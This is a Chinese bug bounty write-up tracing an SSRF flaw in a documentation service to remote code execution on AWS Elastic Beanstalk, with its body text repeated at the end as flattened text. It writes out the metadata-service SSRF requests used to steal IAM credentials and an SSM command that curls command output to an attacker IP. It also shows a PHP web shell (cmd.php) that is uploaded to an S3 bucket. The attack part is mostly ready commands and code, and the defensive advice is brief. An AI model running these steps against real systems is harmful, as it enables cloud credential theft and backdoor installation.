Bug Bounty:从SSRF到RCE
字数 1261 2025-08-26 22:11:28

从SSRF到RCE漏洞利用完整指南

1. 漏洞概述

本文详细记录了一个从SSRF(服务器端请求伪造)漏洞到RCE(远程代码执行)的完整利用过程。攻击者通过发现并利用文档服务中的SSRF漏洞,最终在AWS Elastic Beanstalk环境中实现了远程代码执行。

2. 前期侦察

2.1 子域枚举

  • 发现目标域名redacted.com的子域docs.redact.com存在可疑行为
  • 该子域提供文档和各类数据展示功能

2.2 带外资源加载漏洞发现

  1. 观察图片加载时的URL参数,发现url参数控制资源加载
  2. 测试将url参数值改为攻击者控制的域名generaleg0x01.com
  3. 修改mimeType参数为text/html确认漏洞存在
https://docs.redact.com/report/api/v2/help/asset?url=https://generaleg0x01.com&mimeType=text/html&t=REDACTED.JWT.TOKEN&advertiserId=11

3. SSRF漏洞确认与利用

3.1 AWS环境确认

  • 通过响应头X-Amz-Cf-Id确认目标使用AWS服务

3.2 SSRF漏洞验证

  • 利用AWS EC2元数据服务IP169.254.169.254测试
  • 访问元数据目录成功:
url=169.254.169.254/latest/meta-data/

3.3 AWS Elastic Beanstalk简介

  • AWS提供的PaaS服务
  • 自动处理容量预配置、负载均衡、Auto Scaling等

3.4 获取AWS凭证

  1. 获取IAM角色凭证:
url=169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanstalk-ec2-role/

返回内容包含:

  • AccessKeyId
  • SecretAccessKey
  • Token
  1. 获取实例信息:
url=169.254.169.254//latest/dynamic/instance-identity/document/

返回内容包含:

  • instanceId
  • accountId
  • region

3.5 配置AWS CLI

export AWS_ACCESS_KEY_ID=AccessKeyId
export AWS_SECRET_ACCESS_KEY=SecretAccessKey
export AWS_DEFAULT_REGION=region
export AWS_SESSION_TOKEN=Token

4. 从SSRF到RCE的升级

4.1 尝试方法一:使用SSM Send-Command

aws ssm send-command --instance-ids "instanceId" --document-name "AWS-RunShellScript" --comment "whoami" --parameters commands='curl 128.199.xx.xx:8080/`whoami`' --output text --region=region

结果:失败,权限不足

4.2 尝试方法二:SSH连接

  • 发现SSH端口关闭
  • 尝试创建RSA密钥对无密码登录失败

4.3 成功方法:上传Web后门

4.3.1 S3存储桶发现

  1. 发现托管策略awselasticbeanstalkwebtier限制只能访问以"elasticbeanstack"开头的存储桶
  2. 组合存储桶名称:elasticbeanstalk-us-east-1-76xxxxxxxx00
  3. 递归列出存储桶内容:
aws s3 ls s3://elasticbeanstalk-us-east-1-76xxxxxxxx00/ --recursive

4.3.2 创建并上传Web Shell

  1. 创建cmd.php后门文件:
<?php 
if(isset($_REQUEST['cmd'])){
    echo "<pre>";
    $cmd = ($_REQUEST['cmd']);
    system($cmd);
    echo "</pre>";
    die;
}
?>
  1. 上传后门文件:
aws s3 cp cmd.php s3://elasticbeanstalk-us-east-1-76xxxxxxxx00/

5. 关键知识点总结

  1. SSRF漏洞检测

    • 测试外部资源加载
    • 检查AWS元数据服务
  2. AWS元数据利用

    • 169.254.169.254是AWS EC2元数据服务IP
    • 可获取实例凭证、配置信息等
  3. 权限提升思路

    • 尝试SSM命令执行
    • 测试SSH连接
    • 通过存储桶上传Web Shell
  4. AWS Elastic Beanstalk安全

    • 默认角色权限限制
    • 存储桶命名规则可利用
  5. 防御建议

    • 限制服务器对外请求
    • 加强IAM角色权限控制
    • 定期审计S3存储桶权限
    • 禁用不必要的元数据服务访问

通过这个案例,我们学习到了如何从一个简单的SSRF漏洞逐步深入,最终实现远程代码执行的全过程。关键在于对云服务架构的理解和权限边界的突破尝试。

从SSRF到RCE漏洞利用完整指南 1. 漏洞概述 本文详细记录了一个从SSRF(服务器端请求伪造)漏洞到RCE(远程代码执行)的完整利用过程。攻击者通过发现并利用文档服务中的SSRF漏洞,最终在AWS Elastic Beanstalk环境中实现了远程代码执行。 2. 前期侦察 2.1 子域枚举 发现目标域名 redacted.com 的子域 docs.redact.com 存在可疑行为 该子域提供文档和各类数据展示功能 2.2 带外资源加载漏洞发现 观察图片加载时的URL参数,发现 url 参数控制资源加载 测试将 url 参数值改为攻击者控制的域名 generaleg0x01.com 修改 mimeType 参数为 text/html 确认漏洞存在 3. SSRF漏洞确认与利用 3.1 AWS环境确认 通过响应头 X-Amz-Cf-Id 确认目标使用AWS服务 3.2 SSRF漏洞验证 利用AWS EC2元数据服务IP 169.254.169.254 测试 访问元数据目录成功: 3.3 AWS Elastic Beanstalk简介 AWS提供的PaaS服务 自动处理容量预配置、负载均衡、Auto Scaling等 3.4 获取AWS凭证 获取IAM角色凭证: 返回内容包含: AccessKeyId SecretAccessKey Token 获取实例信息: 返回内容包含: instanceId accountId region 3.5 配置AWS CLI 4. 从SSRF到RCE的升级 4.1 尝试方法一:使用SSM Send-Command 结果:失败,权限不足 4.2 尝试方法二:SSH连接 发现SSH端口关闭 尝试创建RSA密钥对无密码登录失败 4.3 成功方法:上传Web后门 4.3.1 S3存储桶发现 发现托管策略 awselasticbeanstalkwebtier 限制只能访问以"elasticbeanstack"开头的存储桶 组合存储桶名称: elasticbeanstalk-us-east-1-76xxxxxxxx00 递归列出存储桶内容: 4.3.2 创建并上传Web Shell 创建 cmd.php 后门文件: 上传后门文件: 5. 关键知识点总结 SSRF漏洞检测 : 测试外部资源加载 检查AWS元数据服务 AWS元数据利用 : 169.254.169.254 是AWS EC2元数据服务IP 可获取实例凭证、配置信息等 权限提升思路 : 尝试SSM命令执行 测试SSH连接 通过存储桶上传Web Shell AWS Elastic Beanstalk安全 : 默认角色权限限制 存储桶命名规则可利用 防御建议 : 限制服务器对外请求 加强IAM角色权限控制 定期审计S3存储桶权限 禁用不必要的元数据服务访问 通过这个案例,我们学习到了如何从一个简单的SSRF漏洞逐步深入,最终实现远程代码执行的全过程。关键在于对云服务架构的理解和权限边界的突破尝试。